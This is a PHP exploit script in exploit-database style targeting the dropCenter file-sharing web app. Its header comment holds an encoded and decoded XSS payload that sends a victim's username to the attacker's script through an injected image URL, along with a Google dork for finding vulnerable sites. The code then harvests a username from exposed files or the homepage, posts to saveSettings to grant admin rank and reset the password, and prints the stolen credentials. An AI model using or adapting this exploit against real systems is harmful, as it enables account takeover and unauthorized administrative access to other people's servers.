XSS + privilege escalation

dropcenter_exploit.php

<?php
# Exploit Title: dropCenter all version : privilege escalation
# If this is the last version (after 2013-08-20), use permanent XSS to hack the website : 
#
# - Encoded URL : http://localhost/dropCenter/index.php?error=%22%29%3B%24%28document%29.ready%28function%28%29%7B%24%28%27body%27%29.append%28%27%3Cimg+src%3D%22http%3A%2F%2Flocalhost%2Fdropcenter_exploit.php%3Fuser%3D%27%2B%24%28%27form%5Baction%5E%3D%22php%2Faction.php%3Faction%3DsaveSettings%22%5D%27%29.attr%28%27action%27%29.match%28%2Fuser%3D%28.%2A%29%2F%29%5B1%5D%2B%27%22%2F%3E%27%29%7D%29%3Bfunction+test%28%29%7B%7Dtest%28%22
#
# - Decoded URL : http://localhost/dropCenter/index.php?error=");$(document).ready(function(){$('body').append('<img src="http://localhost/dropcenter_exploit.php?user='+$('form[action^="php/action.php?action=saveSettings"]').attr('action').match(/user=(.*)/)[1]+'"/>')});function test(){}test("
#
# Date: 2013-08-02
# Author: leviathan
# Vendor or Software Link: http://projet.idleman.fr/dropcenter/
# Version: 1.4 Beta and 2 Beta
# Category:: webapps
# Google dork: DropCenter V1.4 (Beta) par la DropTeam | DropCenter V2 (Beta) par la DropTeam
# Tested on: GNU/Linux with 1.4 Beta and 2 Beta
# Demo site:

// The vulnerable website
$base_url   = 'http://localhost';
$url_folder = '/dropCenter';

$new_pass = 'my-new-password';

// Get a username to change password : first to have an administrator
function getUser($base_url, $url_folder, $curl)
{
    $user = null;

    // Previous version : the file uploads/.dc/.event.dc is allowed
    curl_setopt($curl, CURLOPT_URL, $base_url.$url_folder.'/uploads/.dc/.event.dc');
    $response = curl_exec($curl);
    $status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
    
    // If the file is deny, check in the homepage
    if ($status !== 200 || empty($response) === true) {
        curl_setopt($curl, CURLOPT_URL, $base_url.$url_folder.'/index.php');
        $response = curl_exec($curl);
        if (empty($response) === false) {
            if (preg_match('/editUser\(\'([a-zA-Z0-9]+)\'\)/', str_replace(array("\n", "\r"), '', $response), $matches)) {
                $user = $matches[1];
            } elseif (isset($_GET['user'])) {
                $user = $_GET['user'];
            } else {
                die('no user');
            }
        }
    } else {
        $actions = explode("\n", $response);

        foreach ($actions as $action) {
            $json = json_decode($action);
            if ($json instanceof stdClass) {
                if (isset($json->user) === true) {
                    $user = $json->user;
                    break;
                }
            }
        }
    }

    return $user;
}

$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

$user = getUser($base_url, $url_folder, $curl);

if (empty($user) === true) {
    die('no user getting');
}

curl_setopt($curl, CURLOPT_URL, $base_url.$url_folder.'/php/action.php?action=saveSettings&user='.$user);
curl_setopt($curl, CURLOPT_POST, true);
$post = array(
'mail' => 'test2@example.com',
'avatar' => 'no-avatar',
'notifMail' => null,
'rank' => 'admin',
'lang' => 'en - English',
'password' => $new_pass,
);
curl_setopt($curl, CURLOPT_POSTFIELDS, $post);

$response = curl_exec($curl);
if (empty($response) === true) {
    die('error while edit user');
}

if ($response == '{"succes":true}') {
    echo "User : ".$user." / Pass : ".$new_pass."\n";
} else {
    echo $response;
}